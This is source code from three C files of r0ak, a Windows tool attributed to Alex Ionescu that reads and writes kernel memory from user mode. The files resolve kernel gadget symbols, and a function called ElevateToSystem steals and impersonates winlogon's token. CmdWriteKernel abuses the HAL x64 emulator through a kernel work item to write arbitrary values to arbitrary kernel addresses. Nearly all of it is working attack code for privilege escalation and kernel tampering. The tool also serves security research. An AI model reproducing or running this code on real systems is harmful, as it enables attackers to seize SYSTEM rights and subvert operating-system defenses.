-------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0aksym.c 8 | 9 | Abstract: 10 | 11 | This module implements the symbol engine interface and parsing for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | typedef DWORD64 26 | (*tSymLoadModuleEx)( 27 | _In_ HANDLE hProcess, 28 | _In_opt_ HANDLE hFile, 29 | _In_opt_ PCSTR ImageName, 30 | _In_opt_ PCSTR ModuleName, 31 | _In_ DWORD64 BaseOfDll, 32 | _In_ DWORD DllSize, 33 | _In_opt_ PMODLOAD_DATA Data, 34 | _In_opt_ DWORD Flags 35 | ); 36 | 37 | typedef BOOL 38 | (*tSymInitializeW)( 39 | _In_ HANDLE hProcess, 40 | _In_opt_ PCWSTR UserSearchPath, 41 | _In_ BOOL fInvadeProcess 42 | ); 43 | 44 | typedef DWORD 45 | (*tSymSetOptions)( 46 | _In_ DWORD SymOptions 47 | ); 48 | 49 | typedef BOOL 50 | (*tSymGetSymFromName64)( 51 | _In_ HANDLE hProcess, 52 | _In_ PCSTR Name, 53 | _Inout_ PIMAGEHLP_SYMBOL64 Symbol 54 | ); 55 | 56 | typedef BOOL 57 | (*tSymUnloadModule64)( 58 | _In_ HANDLE hProcess, 59 | _In_ DWORD64 BaseOfDll 60 | ); 61 | 62 | PVOID g_XmFunction; 63 | PVOID g_HstiBufferSize; 64 | PVOID g_HstiBufferPointer; 65 | PVOID g_TrampolineFunction; 66 | 67 | tSymLoadModuleEx pSymLoadModuleEx; 68 | tSymInitializeW pSymInitializeW; 69 | tSymSetOptions pSymSetOptions; 70 | tSymUnloadModule64 pSymUnloadModule64; 71 | tSymGetSymFromName64 pSymGetSymFromName64; 72 | 73 | _Success_(return != 0) 74 | PVOID 75 | SymLookup ( 76 | _In_ PCHAR ModuleName, 77 | _In_ PCHAR SymbolName 78 | ) 79 | { 80 | ULONG_PTR offset; 81 | ULONG_PTR kernelBase; 82 | ULONG_PTR imageBase; 83 | BOOL b; 84 | PIMAGEHLP_SYMBOL64 symbol; 85 | ULONG_PTR realKernelBase; 86 | CHAR symName[MAX_PATH]; 87 | 88 | // 89 | // Get the base address of the kernel image in kernel-mode 90 | // 91 | realKernelBase = GetDriverBaseAddr(ModuleName); 92 | if (realKernelBase == 0) 93 | { 94 | printf("[-] Couldn't find base address for %s\n", ModuleName); 95 | return NULL; 96 | } 97 | 98 | // 99 | // Load the kernel image in user-mode 100 | // 101 | kernelBase = (ULONG_PTR)LoadLibraryExA(ModuleName, 102 | NULL, 103 | DONT_RESOLVE_DLL_REFERENCES); 104 | if (kernelBase == 0) 105 | { 106 | printf("[-] Couldn't map %s!\n", ModuleName); 107 | return NULL; 108 | } 109 | 110 | // 111 | // Allocate space for a symbol buffer 112 | // 113 | symbol = HeapAlloc(GetProcessHeap(), 114 | HEAP_ZERO_MEMORY, 115 | sizeof(*symbol) + 2); 116 | if (symbol == NULL) 117 | { 118 | printf("[-] Not enough memory to allocate IMAGEHLP_SYMBOL64\n"); 119 | FreeLibrary((HMODULE)kernelBase); 120 | return NULL; 121 | } 122 | 123 | // 124 | // Attach symbols to our module 125 | // 126 | imageBase = pSymLoadModuleEx(GetCurrentProcess(), 127 | NULL, 128 | ModuleName, 129 | ModuleName, 130 | kernelBase, 131 | 0, 132 | NULL, 133 | 0); 134 | if (imageBase != kernelBase) 135 | { 136 | HeapFree(GetProcessHeap(), 0, symbol); 137 | FreeLibrary((HMODULE)kernelBase); 138 | printf("[-] Couldn't load symbols for %s\n", ModuleName); 139 | return NULL; 140 | } 141 | 142 | // 143 | // Build the symbol name 144 | // 145 | strcpy_s(symName, MAX_PATH, ModuleName); 146 | strcat_s(symName, MAX_PATH, "!"); 147 | strcat_s(symName, MAX_PATH, SymbolName); 148 | 149 | // 150 | // Look it up 151 | // 152 | symbol->SizeOfStruct = sizeof(*symbol); 153 | symbol->MaxNameLength = 1; 154 | b = pSymGetSymFromName64(GetCurrentProcess(), symName, symbol); 155 | if (b == FALSE) 156 | { 157 | printf("[-] Couldn't find %s symbol\n", symName); 158 | FreeLibrary((HMODULE)kernelBase); 159 | pSymUnloadModule64(GetCurrentProcess(), imageBase); 160 | HeapFree(GetProcessHeap(), 0, symbol); 161 | return NULL; 162 | } 163 | 164 | // 165 | // Compute the offset based on the mapped address 166 | // 167 | offset = symbol->Address - kernelBase; 168 | FreeLibrary((HMODULE)kernelBase); 169 | pSymUnloadModule64(GetCurrentProcess(), imageBase); 170 | HeapFree(GetProcessHeap(), 0, symbol); 171 | 172 | // 173 | // Compute the final location based on the real kernel base 174 | // 175 | return (PVOID)(realKernelBase + offset); 176 | } 177 | 178 | _Success_(return != 0) 179 | BOOL 180 | SymSetup ( 181 | VOID 182 | ) 183 | { 184 | HMODULE hMod; 185 | HKEY rootKey; 186 | DWORD dwError; 187 | WCHAR rootPath[MAX_PATH]; 188 | ULONG pathSize; 189 | ULONG type; 190 | BOOL b; 191 | 192 | // 193 | // Open the Kits key 194 | // 195 | dwError = RegOpenKey(HKEY_LOCAL_MACHINE, 196 | L"Software\\Microsoft\\Windows Kits\\Installed Roots", 197 | &rootKey); 198 | if (dwError != ERROR_SUCCESS) 199 | { 200 | printf("[-] No Windows SDK or WDK installed: %lx\n", dwError); 201 | return FALSE; 202 | } 203 | 204 | // 205 | // Check where a kit was installed 206 | // 207 | pathSize = sizeof(rootPath); 208 | type = REG_SZ; 209 | dwError = RegQueryValueEx(rootKey, 210 | L"KitsRoot10", 211 | NULL, 212 | &type, 213 | (LPBYTE)rootPath, 214 | &pathSize); 215 | if (dwError != ERROR_SUCCESS) 216 | { 217 | printf("[-] Win 10 SDK/WDK not found, falling back to 8.1: %lx\n", 218 | dwError); 219 | dwError = RegQueryValueEx(rootKey, 220 | L"KitsRoot81", 221 | NULL, 222 | &type, 223 | (LPBYTE)rootPath, 224 | &pathSize); 225 | if (dwError != ERROR_SUCCESS) 226 | { 227 | printf("[-] Win 8.1 SDK/WDK not found, falling back to 8: %lx\n", 228 | dwError); 229 | dwError = RegQueryValueEx(rootKey, 230 | L"KitsRoot8", 231 | NULL, 232 | &type, 233 | (LPBYTE)rootPath, 234 | &pathSize); 235 | if (dwError != ERROR_SUCCESS) 236 | { 237 | printf("[-] Win 8 SDK/WDK not found %lx\n", dwError); 238 | return FALSE; 239 | } 240 | } 241 | } 242 | 243 | // 244 | // Now try to load the correct debug help library 245 | // 246 | wcscat_s(rootPath, _ARRAYSIZE(rootPath), L"debuggers\\x64\\dbghelp.dll"); 247 | hMod = LoadLibrary(rootPath); 248 | if (hMod == NULL) 249 | { 250 | printf("[-] Failed to load Debugging Tools Dbghelp.dll: %lx\n", 251 | GetLastError()); 252 | return FALSE; 253 | } 254 | 255 | // 256 | // Get the APIs that we need 257 | // 258 | pSymSetOptions = (tSymSetOptions)GetProcAddress(hMod, 259 | "SymSetOptions"); 260 | if (pSymSetOptions == NULL) 261 | { 262 | printf("[-] Failed to find SymSetOptions\n"); 263 | return FALSE; 264 | } 265 | pSymInitializeW = (tSymInitializeW)GetProcAddress(hMod, 266 | "SymInitializeW"); 267 | if (pSymInitializeW == NULL) 268 | { 269 | printf("[-] Failed to find SymInitializeW\n"); 270 | return FALSE; 271 | } 272 | pSymLoadModuleEx = (tSymLoadModuleEx)GetProcAddress(hMod, 273 | "SymLoadModuleEx"); 274 | if (pSymLoadModuleEx == NULL) 275 | { 276 | printf("[-] Failed to find SymLoadModuleEx\n"); 277 | return FALSE; 278 | } 279 | pSymGetSymFromName64 = (tSymGetSymFromName64)GetProcAddress(hMod, 280 | "SymGetSymFromName64"); 281 | if (pSymGetSymFromName64 == NULL) 282 | { 283 | printf("[-] Failed to find SymGetSymFromName64\n"); 284 | return FALSE; 285 | } 286 | pSymUnloadModule64 = (tSymUnloadModule64)GetProcAddress(hMod, 287 | "SymUnloadModule64"); 288 | if (pSymUnloadModule64 == NULL) 289 | { 290 | printf("[-] Failed to find SymUnloadModule64\n"); 291 | return FALSE; 292 | } 293 | 294 | // 295 | // Initialize the engine 296 | // 297 | pSymSetOptions(SYMOPT_DEFERRED_LOADS); 298 | b = pSymInitializeW(GetCurrentProcess(), NULL, TRUE); 299 | if (b == FALSE) 300 | { 301 | printf("[-] Failed to initialize symbol engine: %lx\n", 302 | GetLastError()); 303 | return b; 304 | } 305 | 306 | // 307 | // Initialize our gadgets 308 | // 309 | g_XmFunction = SymLookup("hal.dll", "XmMovOp"); 310 | if (g_XmFunction == NULL) 311 | { 312 | printf("[-] Failed to find hal!XmMovOp\n"); 313 | return FALSE; 314 | } 315 | g_HstiBufferSize = SymLookup("ntoskrnl.exe", "SepHSTIResultsSize"); 316 | if (g_HstiBufferSize == NULL) 317 | { 318 | printf("[-] Failed to find nt!SepHSTIResultsSize\n"); 319 | return FALSE; 320 | } 321 | g_HstiBufferPointer = SymLookup("ntoskrnl.exe", "SepHSTIResultsBuffer"); 322 | if (g_HstiBufferPointer == NULL) 323 | { 324 | printf("[-] Failed to find nt!SepHSTIResultsBuffer\n"); 325 | return FALSE; 326 | } 327 | g_TrampolineFunction = SymLookup("ntoskrnl.exe", "PopFanIrpComplete"); 328 | if (g_TrampolineFunction == NULL) 329 | { 330 | printf("[-] Failed to find nt!PopFanIrpComplete\n"); 331 | return FALSE; 332 | } 333 | return TRUE; 334 | } 335 | -------------------------------------------------------------------------------- /r0akutil.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0akutil.c 8 | 9 | Abstract: 10 | 11 | This module implements utility functions for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | VOID 26 | DumpHex ( 27 | _In_ LPCVOID Data, 28 | _In_ SIZE_T Size 29 | ) 30 | { 31 | CHAR ascii[17]; 32 | SIZE_T i, j; 33 | 34 | // 35 | // Parse each byte in the stream 36 | // 37 | ascii[16] = ANSI_NULL; 38 | for (i = 0; i < Size; ++i) 39 | { 40 | // 41 | // Every new line, print a TAB 42 | // 43 | if ((i % 16) == 0) 44 | { 45 | printf("\t"); 46 | } 47 | 48 | // 49 | // Print the hex representation of the data 50 | // 51 | printf("%02X", ((PUCHAR)Data)[i]); 52 | 53 | // 54 | // And as long as this isn't the middle dash, print a space 55 | // 56 | if ((i + 1) % 16 != 8) 57 | { 58 | printf(" "); 59 | } 60 | else 61 | { 62 | printf("-"); 63 | } 64 | 65 | // 66 | // Is this a printable character? If not, use a '.' to represent it 67 | // 68 | if (isprint(((PUCHAR)Data)[i])) 69 | { 70 | ascii[i % 16] = ((PUCHAR)Data)[i]; 71 | } 72 | else 73 | { 74 | ascii[i % 16] = '.'; 75 | } 76 | 77 | // 78 | // Is this end of the line? If so, print it out 79 | // 80 | if (((i + 1) % 16) == 0) 81 | { 82 | printf(" %s\n", ascii); 83 | } 84 | 85 | if ((i + 1) == Size) 86 | { 87 | // 88 | // We've reached the end of the buffer, keep printing spaces 89 | // until we get to the end of the line 90 | // 91 | ascii[(i + 1) % 16] = ANSI_NULL; 92 | for (j = ((i + 1) % 16); j < 16; j++) 93 | { 94 | printf(" "); 95 | } 96 | 97 | printf(" %s\n", ascii); 98 | } 99 | } 100 | } 101 | 102 | _Success_(return != 0) 103 | ULONG_PTR 104 | GetDriverBaseAddr ( 105 | _In_ PCCH BaseName 106 | ) 107 | { 108 | LPVOID BaseAddresses[1024]; 109 | DWORD cbNeeded; 110 | CHAR FileName[MAX_PATH]; 111 | 112 | // 113 | // Enumerate all the device drivers 114 | // 115 | if (!EnumDeviceDrivers(BaseAddresses, sizeof(BaseAddresses), &cbNeeded)) 116 | { 117 | printf("[-] Failed to enumerate driver base addresses: %lx\n", 118 | GetLastError()); 119 | return 0; 120 | } 121 | 122 | // 123 | // Go through each one 124 | // 125 | for (int i = 0; i < (cbNeeded / sizeof(LPVOID)); i++) 126 | { 127 | // 128 | // Get its name 129 | // 130 | if (!GetDeviceDriverBaseNameA(BaseAddresses[i], 131 | FileName, 132 | sizeof(FileName))) 133 | { 134 | printf("[-] Failed to get driver name: %lx\n", 135 | GetLastError()); 136 | return 0; 137 | } 138 | 139 | // 140 | // Compare it 141 | // 142 | if (!_stricmp(FileName, BaseName)) 143 | { 144 | return (ULONG_PTR)BaseAddresses[i]; 145 | } 146 | } 147 | return 0; 148 | } 149 | 150 | _Success_(return != 0) 151 | BOOL 152 | ElevateToSystem ( 153 | VOID 154 | ) 155 | { 156 | HANDLE hProcess; 157 | HANDLE hToken, hNewtoken; 158 | HANDLE hSnapshot; 159 | DWORD logonPid; 160 | BOOL b; 161 | PROCESSENTRY32W processEntry; 162 | BOOLEAN old; 163 | NTSTATUS status; 164 | 165 | // 166 | // Create toolhelp snaapshot 167 | // 168 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 169 | if (hSnapshot == NULL) 170 | { 171 | printf("[-] Failed to initialize toolhelp snapshot: %lx\n", 172 | GetLastError()); 173 | return FALSE; 174 | } 175 | 176 | // 177 | // Scan process list 178 | // 179 | logonPid = 0; 180 | processEntry.dwSize = sizeof(processEntry); 181 | Process32First(hSnapshot, &processEntry); 182 | do 183 | { 184 | // 185 | // Look for winlogon 186 | // 187 | if (wcsstr(processEntry.szExeFile, L"winlogon.exe") != NULL) 188 | { 189 | // 190 | // Found it 191 | // 192 | logonPid = processEntry.th32ProcessID; 193 | break; 194 | } 195 | } while (Process32Next(hSnapshot, &processEntry) != 0); 196 | 197 | // 198 | // Fail it not found 199 | // 200 | if (logonPid == 0) 201 | { 202 | printf("[-] Couldn't find Winlogon.exe\n"); 203 | return FALSE; 204 | } 205 | 206 | // 207 | // Enable debug privileges, so that we may open the processes we need 208 | // 209 | status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &old); 210 | if (!NT_SUCCESS(status)) 211 | { 212 | printf("[-] Failed to get SE_DEBUG_PRIVILEGE: %lx\n", 213 | status); 214 | return FALSE; 215 | } 216 | 217 | // 218 | // Open handle to it 219 | // 220 | hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, logonPid); 221 | if (hProcess == NULL) 222 | { 223 | printf("[-] Failed to open handle to Winlogon: %lx\n", 224 | GetLastError()); 225 | return FALSE; 226 | } 227 | 228 | // 229 | // Open winlogon's token 230 | // 231 | b = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, &hToken); 232 | if (b == 0) 233 | { 234 | printf("[-] Failed to open Winlogon Token: %lx\n", 235 | GetLastError()); 236 | return b; 237 | } 238 | 239 | // 240 | // Make an impersonation token copy out of it 241 | // 242 | b = DuplicateToken(hToken, SecurityImpersonation, &hNewtoken); 243 | if (b == 0) 244 | { 245 | printf("[-] Failed to duplicate Winlogon Token: %lx\n", 246 | GetLastError()); 247 | return b; 248 | } 249 | 250 | // 251 | // And assign it as our thread token 252 | // 253 | b = SetThreadToken(NULL, hNewtoken); 254 | if (b == 0) 255 | { 256 | printf("[-] Failed to impersonate Winlogon Token: %lx\n", 257 | GetLastError()); 258 | return b; 259 | } 260 | 261 | // 262 | // Close the handle to wininit, its token, and our copy 263 | // 264 | CloseHandle(hProcess); 265 | CloseHandle(hToken); 266 | CloseHandle(hNewtoken); 267 | return TRUE; 268 | } 269 | -------------------------------------------------------------------------------- /r0akwr.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0akwr.c 8 | 9 | Abstract: 10 | 11 | This module implements write capabilities for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | typedef enum _XM_OPERATION_DATATYPE 26 | { 27 | BYTE_DATA = 0, 28 | WORD_DATA = 1, 29 | LONG_DATA = 3 30 | } XM_OPERATION_DATATYPE; 31 | 32 | typedef struct _XM_CONTEXT 33 | { 34 | UCHAR Reserved[0x58]; 35 | PVOID DestinationPointer; 36 | PVOID SourcePointer; 37 | ULONG DestinationValue; 38 | ULONG SourceValue; 39 | ULONG CurrentOpcode; 40 | ULONG DataSegment; 41 | ULONG DataType; 42 | } XM_CONTEXT, *PXM_CONTEXT; 43 | 44 | _Success_(return != 0) 45 | BOOL 46 | CmdWriteKernel ( 47 | _In_ PKERNEL_EXECUTE KernelExecute, 48 | _In_ PVOID KernelAddress, 49 | _In_ ULONG KernelValue 50 | ) 51 | { 52 | PKERNEL_ALLOC kernelAlloc; 53 | PXM_CONTEXT xmContext; 54 | BOOL b; 55 | PETW_DATA etwData; 56 | 57 | // 58 | // Trace operation 59 | // 60 | printf("[+] Writing 0x%.8lX to 0x%.16p\n", 61 | KernelValue, KernelAddress); 62 | 63 | // 64 | // Allocate an XM_CONTEXT to drive the HAL x64 emulator 65 | // 66 | kernelAlloc = NULL; 67 | xmContext = KernelAlloc(&kernelAlloc, sizeof(*xmContext)); 68 | if (xmContext == NULL) 69 | { 70 | printf("[-] Failed to allocate memory for XM_CONTEXT\n"); 71 | return FALSE; 72 | } 73 | 74 | // 75 | // Fill it out 76 | // 77 | xmContext->SourceValue = KernelValue; 78 | xmContext->DataType = LONG_DATA; 79 | xmContext->DestinationPointer = KernelAddress; 80 | 81 | // 82 | // Make a kernel copy of it 83 | // 84 | xmContext = KernelWrite(kernelAlloc); 85 | if (xmContext == NULL) 86 | { 87 | printf("[-] Failed to find kernel memory for XM_CONTEXT\n"); 88 | KernelFree(kernelAlloc); 89 | return FALSE; 90 | } 91 | 92 | // 93 | // Setup the work item 94 | // 95 | b = KernelExecuteSetCallback(KernelExecute, 96 | g_XmFunction, 97 | xmContext->Reserved); 98 | if (b == FALSE) 99 | { 100 | printf("[-] Failed to initialize work item!\n"); 101 | KernelFree(kernelAlloc); 102 | return b; 103 | } 104 | 105 | // 106 | // Begin ETW tracing to look for the work item executing 107 | // 108 | etwData = NULL; 109 | b = EtwStartSession(&etwData, g_XmFunction); 110 | if (b == FALSE) 111 | { 112 | printf("[-] Failed to start ETW trace\n"); 113 | KernelFree(kernelAlloc); 114 | return b; 115 | } 116 | 117 | // 118 | // Run it! 119 | // 120 | b = KernelExecuteRun(KernelExecute); 121 | if (b == FALSE) 122 | { 123 | printf("[-] Failed to execute kernel function!\n"); 124 | } 125 | else 126 | { 127 | // 128 | // Wait for execution to finish 129 | // 130 | b = EtwParseSession(etwData); 131 | if (b == FALSE) 132 | { 133 | // 134 | // We have no idea if execution finished -- block forever 135 | // 136 | printf("[-] Failed to parse ETW trace\n"); 137 | Sleep(INFINITE); 138 | return b; 139 | } 140 | } 141 | 142 | // 143 | // Free the allocation since this path either failed or completed execution 144 | // 145 | KernelFree(kernelAlloc); 146 | return b; 147 | } 148 | --------------------------------------------------------------------------------